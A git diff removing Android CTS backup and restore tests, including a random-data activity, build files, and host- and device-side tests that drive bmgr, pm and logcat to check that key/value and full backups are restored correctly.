- * Migrated from BackupTestActivity in former BackupTest CTS Verfifier test.
- */
-public class KeyValueBackupRandomDataActivity extends Activity {
-    private static final String TAG = KeyValueBackupRandomDataActivity.class.getSimpleName();
-
-    private static final String TEST_PREFS_1 = "test-prefs-1";
-    private static final String INT_PREF = "int-pref";
-    private static final String BOOL_PREF = "bool-pref";
-
-    private static final String TEST_PREFS_2 = "test-prefs-2";
-    private static final String FLOAT_PREF = "float-pref";
-    private static final String LONG_PREF = "long-pref";
-    private static final String STRING_PREF = "string-pref";
-
-    private static final String TEST_FILE_1 = "test-file-1";
-    private static final String TEST_FILE_2 = "test-file-2";
-
-    private static final int DEFAULT_INT_VALUE = 0;
-    private static final boolean DEFAULT_BOOL_VALUE = false;
-    private static final float DEFAULT_FLOAT_VALUE = 0.0f;
-    private static final long DEFAULT_LONG_VALUE = 0L;
-    private static final String DEFAULT_STRING_VALUE = null;
-
-    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
-    private static final String EMPTY_STRING_LOG = "empty";
-
-    private boolean mDefaultValues = true;
-    private boolean mValuesWereGenerated;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        new LoadBackupItemsTask().execute();
-    }
-
-    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
-        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
-    }
-
-    public static FileBackupHelper getFileBackupHelper(Context context) {
-        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
-    }
-
-    class LoadBackupItemsTask extends AsyncTask<Void, Void, Void> {
-
-        @Override
-        protected Void doInBackground(Void... params) {
-            loadPreferenceGroup1();
-            loadPreferenceGroup2();
-            loadFile(TEST_FILE_1);
-            loadFile(TEST_FILE_2);
-            return null;
-        }
-
-        private void loadPreferenceGroup1() {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-
-            int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
-            Log.i(TAG, INT_PREF + ":" + intValue);
-
-            boolean boolValue = prefs.getBoolean(BOOL_PREF, DEFAULT_BOOL_VALUE);
-            Log.i(TAG, BOOL_PREF + ":" + boolValue);
-
-            mDefaultValues = mDefaultValues
-                    && intValue == DEFAULT_INT_VALUE
-                    && boolValue == DEFAULT_BOOL_VALUE;
-        }
-
-        private void loadPreferenceGroup2() {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-
-            float floatValue = prefs.getFloat(FLOAT_PREF, DEFAULT_FLOAT_VALUE);
-            Log.i(TAG, FLOAT_PREF + ":" + floatValue);
-
-            long longValue = prefs.getLong(LONG_PREF, DEFAULT_LONG_VALUE);
-            Log.i(TAG, LONG_PREF + ":" + longValue);
-
-            String stringValue = prefs.getString(STRING_PREF, DEFAULT_STRING_VALUE);
-            Log.i(TAG, STRING_PREF + ":" + stringValue);
-
-            mDefaultValues = mDefaultValues
-                            && floatValue == DEFAULT_FLOAT_VALUE
-                            && longValue == DEFAULT_LONG_VALUE
-                            && stringValue == DEFAULT_STRING_VALUE;
-        }
-
-        private void loadFile(String fileName) {
-            StringBuilder contents = new StringBuilder();
-            Scanner scanner = null;
-            try {
-                scanner = new Scanner(new File(getFilesDir(), fileName));
-                while (scanner.hasNext()) {
-                    contents.append(scanner.nextLine());
-                }
-                scanner.close();
-            } catch (FileNotFoundException e) {
-                Log.i(TAG, "Couldn't find test file but this may be fine...");
-            } finally {
-                if (scanner != null) {
-                    scanner.close();
-                }
-            }
-            String logString = contents.toString();
-            logString = logString.isEmpty() ? EMPTY_STRING_LOG : logString;
-            Log.i(TAG, fileName + ":" + logString);
-
-            mDefaultValues = mDefaultValues && contents.toString().isEmpty();
-        }
-
-        @Override
-        protected void onPostExecute(Void param) {
-            super.onPostExecute(param);
-
-            if (mDefaultValues && !mValuesWereGenerated) {
-                new GenerateValuesTask().execute();
-            } else {
-                Log.i(TAG, VALUES_LOADED_MESSAGE);
-            }
-        }
-    }
-
-    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
-
-        @Override
-        protected Exception doInBackground(Void... params) {
-            Random random = new Random();
-            generatePreferenceGroup1(random);
-            generatePreferenceGroup2(random);
-            try {
-                generateTestFile(TEST_FILE_1, random);
-                generateTestFile(TEST_FILE_2, random);
-            } catch (FileNotFoundException e) {
-                return e;
-            }
-            return null;
-        }
-
-        private void generatePreferenceGroup1(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
-            editor.putBoolean(BOOL_PREF, random.nextBoolean());
-            editor.commit();
-        }
-
-        private void generatePreferenceGroup2(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putFloat(FLOAT_PREF, random.nextFloat());
-            editor.putLong(LONG_PREF, random.nextLong());
-            editor.putString(STRING_PREF, "Random number " + (random.nextInt(100) + 1));
-            editor.commit();
-        }
-
-        private void generateTestFile(String fileName, Random random)
-                throws FileNotFoundException {
-            File file = new File(getFilesDir(), fileName);
-            PrintWriter writer = new PrintWriter(file);
-            writer.write("Random number " + (random.nextInt(100) + 1));
-            writer.close();
-        }
-
-        @Override
-        protected void onPostExecute(Exception exception) {
-            super.onPostExecute(exception);
-            mValuesWereGenerated = true;
-
-            if (exception != null) {
-                Log.e(TAG, "Couldn't generate test data...", exception);
-            } else {
-                BackupManager backupManager = new BackupManager(
-                        KeyValueBackupRandomDataActivity.this);
-                backupManager.dataChanged();
-
-                new LoadBackupItemsTask().execute();
-            }
-        }
-    }
-}
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
deleted file mode 100644
index 46af984..0000000
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsFullbackupApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
deleted file mode 100644
index 58f9306..0000000
--- a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.fullbackupapp">
-
-    <application android:label="FullbackupApp" >
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.fullbackupapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
deleted file mode 100644
index 7c3a6f6..0000000
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.fullbackupapp;
-
-import static android.support.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
-
-import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side NoBackupFolderHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- */
-@RunWith(AndroidJUnit4.class)
-public class FullbackupTest {
-    public static final String TAG = "FullbackupCTSApp";
-    private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
-    private Context mContext;
-
-    private File mNoBackupFile;
-    private File mNoBackupFile2;
-    private File mDoBackupFile;
-    private File mDoBackupFile2;
-
-    @Before
-    public void setUp() {
-        mContext = getTargetContext();
-        setupFiles();
-    }
-
-    private void setupFiles() {
-        // Files in the 'no_backup' directory. We expect these to not be backed up.
-        File noBackupDir = mContext.getNoBackupFilesDir();
-        File folderInNoBackup = new File(noBackupDir, "folder_not_to_backup");
-
-        mNoBackupFile = new File(noBackupDir, "file_not_backed_up");
-        mNoBackupFile2 = new File(folderInNoBackup, "file_not_backed_up2");
-
-        // Files in the normal files directory. These should be backed up and restored.
-        File filesDir = mContext.getFilesDir();
-        File normalFolder = new File(filesDir, "normal_folder");
-
-        mDoBackupFile = new File(filesDir, "file_to_backup");
-        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
-    }
-
-    @Test
-    public void createFiles() throws Exception {
-        // Make sure the data does not exist from before
-        deleteAllFiles();
-        checkNoFilesExist();
-
-        // Create test data
-        generateFiles();
-        checkAllFilesExist();
-
-        Log.d(TAG, "Test files created:");
-        Log.d(TAG, mNoBackupFile.getAbsolutePath());
-        Log.d(TAG, mNoBackupFile2.getAbsolutePath());
-        Log.d(TAG, mDoBackupFile.getAbsolutePath());
-        Log.d(TAG, mDoBackupFile2.getAbsolutePath());
-    }
-
-    @Test
-    public void deleteFilesAfterBackup() throws Exception {
-        // Make sure the test data exists first
-        checkAllFilesExist();
-
-        // Delete test data
-        deleteAllFiles();
-
-        // No there should be no files left
-        checkNoFilesExist();
-    }
-
-    @Test
-    public void checkRestoredFiles() throws Exception {
-        // After a restore, only files outside the 'no_backup' folder should exist
-        checkNoBackupFilesDoNotExist();
-        checkDoBackupFilesDoExist();
-    }
-
-    private void generateFiles() {
-        try {
-            // Add data to all the files we created
-            addData(mNoBackupFile);
-            addData(mNoBackupFile2);
-            addData(mDoBackupFile);
-            addData(mDoBackupFile2);
-            Log.d(TAG, "Files generated!");
-        } catch (IOException e) {
-            Log.e(TAG, "Unable to generate files", e);
-        }
-    }
-
-    private void deleteAllFiles() {
-        mNoBackupFile.delete();
-        mNoBackupFile2.delete();
-        mDoBackupFile.delete();
-        mDoBackupFile2.delete();
-        Log.d(TAG, "Files deleted!");
-    }
-
-    private void addData(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        byte[] bytes = new byte[FILE_SIZE_BYTES];
-        new Random().nextBytes(bytes);
-
-        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
-            bos.write(bytes, 0, bytes.length);
-        }
-    }
-
-    private void checkAllFilesExist() {
-        assertTrue("File in 'no_backup' did not exist!", mNoBackupFile.exists());
-        assertTrue("File in folder inside 'no_backup' did not exist!", mNoBackupFile2.exists());
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-
-    private void checkNoFilesExist() {
-        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
-        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
-        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
-        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
-    }
-
-    private void checkNoBackupFilesDoNotExist() {
-        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
-        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
-    }
-
-    private void checkDoBackupFilesDoExist() {
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
deleted file mode 100644
index 4081e70..0000000
--- a/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
+++ /dev/null
@@ -1,246 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.io.FileNotFoundException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Scanner;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test for checking that key/value backup and restore works correctly.
- * It interacts with the app that generates random values and saves them in different shared
- * preferences and files. The app uses BackupAgentHelper to do key/value backup of those values.
- * The tests verifies that the values are restored after the app is uninstalled and reinstalled.
- *
- * NB: The tests uses "bmgr backupnow" for backup, which works on N+ devices.
- */
-public class BackupRestoreHostSideTest extends BaseBackupHostSideTest {
-    /** The name of the APK of the app under test */
-    private static final String TEST_APP_APK = "CtsBackupRestoreDeviceApp.apk";
-
-    /** The package name of the APK */
-    private static final String PACKAGE_UNDER_TEST = "android.backup.cts.backuprestoreapp";
-
-    /** The class name of the main activity in the APK */
-    private static final String CLASS_UNDER_TEST = "KeyValueBackupRandomDataActivity";
-
-    /** The command to launch the main activity */
-    private static final String START_ACTIVITY_UNDER_TEST_COMMAND = String.format(
-            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE_UNDER_TEST,
-            PACKAGE_UNDER_TEST,
-            CLASS_UNDER_TEST);
-
-    /** The command to clear the user data of the package */
-    private static final String CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND = String.format(
-            "pm clear %s", PACKAGE_UNDER_TEST);
-
-    /**
-     * Time we wait before reading the logcat again if the message we want is not logged by the
-     * app yet.
-     */
-    private static final int SMALL_LOGCAT_DELAY_MS = 1000;
-
-    /**
-     * Message logged by the app after all the values were loaded from SharedPreferences and files.
-     */
-    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
-
-    /**
-     * Keys for various shared preferences and files saved/read by the app.
-     */
-    private static final String INT_PREF = "int-pref";
-    private static final String BOOL_PREF = "bool-pref";
-    private static final String FLOAT_PREF = "float-pref";
-    private static final String LONG_PREF = "long-pref";
-    private static final String STRING_PREF = "string-pref";
-    private static final String TEST_FILE_1 = "test-file-1";
-    private static final String TEST_FILE_2 = "test-file-2";
-
-    /** Number of the values saved/restored by the app (keys listed above) */
-    private static final int NUMBER_OF_VALUES = 7;
-
-    /**
-     * String equivalents of the default values of the shared preferences logged by the app.
-     * These values are logged by the app by default if it fails to generate or restore values.
-     */
-    private static final String DEFAULT_INT_STRING = Integer.toString(0);
-    private static final String DEFAULT_BOOL_STRING = Boolean.toString(false);
-    private static final String DEFAULT_FLOAT_STRING = Float.toString(0.0f);
-    private static final String DEFAULT_LONG_STRING = Long.toString(0L);
-    private static final String DEFAULT_STRING_STRING = "null";
-    private static final String DEFAULT_FILE_STRING = "empty";
-
-    private boolean mWasBackupEnabled;
-    private String mOldTransport;
-
-    /**
-     * Map of the shared preferences/files values reported by the app.
-     * Format example: INT_PREF -> 17 (string, as found in the logcat).
-     */
-    private Map<String, String> mSavedValues;
-
-    public void testKeyValueBackupAndRestore() throws Exception {
-        if (!mIsBackupSupported) {
-            CLog.i("android.software.backup feature is not supported on this device");
-            return;
-        }
-        // Clear app data if any
-        mDevice.executeShellCommand(CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND);
-        // Clear logcat
-        mDevice.executeAdbCommand("logcat", "-c");
-        // Start the main activity of the app
-        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
-
-        // The app will generate some random values onCreate. Save them to mSavedValues
-        saveDataValuesReportedByApp();
-
-        // If all the values are default, there is something wrong with the app
-        assertNotAllValuesAreDefault();
-
-        // Run backup
-        // TODO: make this compatible with N-, potentially by replacing 'backupnow' with 'run'.
-        String backupnowOutput = backupNow(PACKAGE_UNDER_TEST);
-
-        assertBackupIsSuccessful(PACKAGE_UNDER_TEST, backupnowOutput);
-
-        mDevice.uninstallPackage(PACKAGE_UNDER_TEST);
-
-        assertNull(super.installPackage(TEST_APP_APK));
-
-        mDevice.executeAdbCommand("logcat", "-c");
-
-        // Start the reinstalled app
-        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
-
-        // If the app data was restored successfully, the app should not generate new values and
-        // the values reported by the app should match values saved in mSavedValues
-        assertValuesAreRestored();
-    }
-
-    /**
-     * Saves the data values reported by the app in {@code mSavedValues}.
-     */
-    private void saveDataValuesReportedByApp()
-            throws InterruptedException, DeviceNotAvailableException {
-        mSavedValues = readDataValuesFromLogcat();
-        assertEquals(NUMBER_OF_VALUES, mSavedValues.size());
-    }
-
-    /**
-     * Checks that at least some values in {@code mSavedValues} are different from corresponding
-     * default values.
-     */
-    private void assertNotAllValuesAreDefault() {
-        boolean allValuesAreDefault = mSavedValues.get(INT_PREF).equals(DEFAULT_INT_STRING)
-                && mSavedValues.get(BOOL_PREF).equals(DEFAULT_BOOL_STRING)
-                && mSavedValues.get(FLOAT_PREF).equals(DEFAULT_FLOAT_STRING)
-                && mSavedValues.get(LONG_PREF).equals(DEFAULT_LONG_STRING)
-                && mSavedValues.get(STRING_PREF).equals(DEFAULT_STRING_STRING)
-                && mSavedValues.get(TEST_FILE_1).equals(DEFAULT_FILE_STRING)
-                && mSavedValues.get(TEST_FILE_2).equals(DEFAULT_FILE_STRING);
-
-        assertFalse("The values were not changed from default.", allValuesAreDefault);
-    }
-
-    /**
-     * Reads the values logged by the app and verifies that they are the same as the ones we saved
-     * in {@code mSavedValues}.
-     */
-    private void assertValuesAreRestored()
-            throws InterruptedException, DeviceNotAvailableException {
-        Map<String, String> restoredValues = readDataValuesFromLogcat();
-
-        // Iterating through mSavedValues (vs. restoredValues) keyset to make sure all of the
-        // keys are reported in restored data
-        for (String dataType : mSavedValues.keySet()) {
-            assertEquals(mSavedValues.get(dataType), restoredValues.get(dataType));
-        }
-    }
-
-    /**
-     * Reads the values that app has reported via logcat and saves them in a map.
-     *
-     * The app logs the values once they are read from shared preferences or a file.
-     * If the values are default ones (i.e., it's the first run of the application), the app then
-     * generates random values and saves them in shared preferences or a file.
-     * Finally, the app reads the values from shared preferences or a file again and logs them.
-     * We are only interested in the final (generated or restored) values.
-     * The format of the log messages is "INT_PREF:17".
-     *
-     * @return Map of the values found in logcat.
-     */
-    private Map<String, String> readDataValuesFromLogcat()
-            throws InterruptedException, DeviceNotAvailableException {
-        Map<String, String> result = new HashMap<>();
-
-        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(30);
-
-        // The app generates reads, generates and reads values in async tasks fired onCreate.
-        // It may take some time for all tasks to finish and for logs to appear, so we check logcat
-        // repeatedly until we read VALUES_LOADED_MESSAGE, which is the last message the app logs.
-        search:
-        while (timeout >= System.currentTimeMillis()) {
-            String logs = getLogcatForClass(CLASS_UNDER_TEST);
-
-            Scanner in = new Scanner(logs);
-            while (in.hasNextLine()) {
-                String line = in.nextLine();
-                // Filter by TAG.
-                if (line.startsWith("I/" + CLASS_UNDER_TEST)) {
-                    // Get rid of the TAG.
-                    String message = line.split(":", 2)[1].trim();
-
-                    // VALUES_LOADED_MESSAGE is logged by the app when all the values are loaded and
-                    // logged so we can stop expecting more lines at this point.
-                    if (message.equals(VALUES_LOADED_MESSAGE)) {
-                        break search;
-                    }
-
-                    // Values are logged by the app in the format "INT_PREF:17".
-                    String[] values = message.split(":");
-                    if (values.length == 2) {
-                        result.put(values[0], values[1]);
-                    }
-                }
-            }
-            in.close();
-
-            // In case the key has not been found, wait for the log to update before
-            // performing the next search.
-            Thread.sleep(SMALL_LOGCAT_DELAY_MS);
-        }
-        assertTrue("Timeout while reading the app values", timeout > System.currentTimeMillis());
-        return result;
-    }
-
-    /**
-     * Returns the logcat string with the tag {@param className} and clears everything else.
-     */
-    private String getLogcatForClass(String className) throws DeviceNotAvailableException {
-        return mDevice.executeAdbCommand("logcat", "-v", "brief", "-d", className + ":I", "*:S");
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
deleted file mode 100644
index 31b46e2..0000000
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ /dev/null
@@ -1,248 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-
-import com.android.cts.migration.MigrationHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-import java.util.HashSet;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.Scanner;
-
-/**
- * Base class for CTS backup/restore hostside tests
- */
-public abstract class BaseBackupHostSideTest extends DeviceTestCase implements IBuildReceiver {
-
-    /** Value of PackageManager.FEATURE_BACKUP */
-    private static final String FEATURE_BACKUP = "android.software.backup";
-
-    private static final String LOCAL_TRANSPORT =
-            "android/com.android.internal.backup.LocalTransport";
-
-    protected ITestDevice mDevice;
-    protected boolean mIsBackupSupported;
-
-    private boolean mWasBackupEnabled;
-    private String mOldTransport;
-    private HashSet<String> mAvailableFeatures;
-    private IBuildInfo mCtsBuildInfo;
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuildInfo = buildInfo;
-    }
-
-    @Override
-    public void setUp() throws DeviceNotAvailableException, Exception {
-        mDevice = getDevice();
-        mIsBackupSupported = hasDeviceFeature(FEATURE_BACKUP);
-        if (!mIsBackupSupported) {
-            CLog.i("android.software.backup feature is not supported on this device");
-            return;
-        }
-        // Enable backup and select local backup transport
-        assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
-        mWasBackupEnabled = enableBackup(true);
-        mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
-        assertNotNull(mCtsBuildInfo);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (mIsBackupSupported) {
-            setBackupTransport(mOldTransport);
-            enableBackup(mWasBackupEnabled);
-        }
-    }
-
-    /**
-     * Execute shell command "bmgr backupnow <packageName>" and return output from this command.
-     */
-    protected String backupNow(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr backupnow " + packageName);
-    }
-
-    /**
-     * Execute shell command "bmgr restore <packageName>" and return output from this command.
-     */
-    protected String restore(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr restore " + packageName);
-    }
-
-    /**
-     * Copied from com.android.cts.net.HostsideNetworkTestCase.
-     */
-    protected void runDeviceTest(String packageName, String className, String testName)
-            throws DeviceNotAvailableException {
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
-                "android.support.test.runner.AndroidJUnitRunner", mDevice.getIDevice());
-
-        if (className != null) {
-            if (testName != null) {
-                testRunner.setMethodName(className, testName);
-            } else {
-                testRunner.setClassName(className);
-            }
-        }
-
-        final CollectingTestListener listener = new CollectingTestListener();
-        mDevice.runInstrumentationTests(testRunner, listener);
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
-            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
-                result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-    }
-
-    /**
-     * Parsing the output of "bmgr backupnow" command and checking that the package under test
-     * was backed up successfully.
-     *
-     * Expected format: "Package <packageName> with result: Success"
-     */
-    protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
-        // Assert backup was successful.
-        Scanner in = new Scanner(backupnowOutput);
-        boolean success = false;
-        while (in.hasNextLine()) {
-            String line = in.nextLine();
-
-            if (line.contains(packageName)) {
-                String result = line.split(":")[1].trim();
-                if ("Success".equals(result)) {
-                    success = true;
-                }
-            }
-        }
-        in.close();
-        assertTrue(success);
-    }
-
-    protected String installPackage(String apkName)
-            throws DeviceNotAvailableException, FileNotFoundException {
-        return mDevice.installPackage(MigrationHelper.getTestFile(mCtsBuildInfo, apkName), true);
-    }
-
-    /**
-     * Parsing the output of "bmgr restore" command and checking that the package under test
-     * was restored successfully.
-     *
-     * Expected format: "restoreFinished: 0"
-     */
-    protected void assertRestoreIsSuccessful(String restoreOutput) {
-        assertTrue("Restore not successful", restoreOutput.contains("restoreFinished: 0"));
-    }
-
-    private boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
-        if (mAvailableFeatures == null) {
-            String command = "pm list features";
-            String commandOutput = getDevice().executeShellCommand(command);
-            CLog.i("Output for command " + command + ": " + commandOutput);
-
-            // Extract the id of the new user.
-            mAvailableFeatures = new HashSet<>();
-            for (String feature: commandOutput.split("\\s+")) {
-                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-                String[] tokens = feature.split(":");
-                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
-                        tokens.length > 1);
-                assertEquals(feature, "feature", tokens[0]);
-                mAvailableFeatures.add(tokens[1]);
-            }
-        }
-        boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.d("Device doesn't have required feature "
-            + requiredFeature + ". Test won't run.");
-        }
-        return result;
-    }
-
-    // Copied over from BackupQuotaTest
-    private boolean enableBackup(boolean enable) throws Exception {
-        boolean previouslyEnabled;
-        String output = mDevice.executeShellCommand("bmgr enabled");
-        Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
-        Matcher matcher = pattern.matcher(output.trim());
-        if (matcher.find()) {
-            previouslyEnabled = "enabled".equals(matcher.group(1));
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
-        }
-
-        mDevice.executeShellCommand("bmgr enable " + enable);
-        return previouslyEnabled;
-    }
-
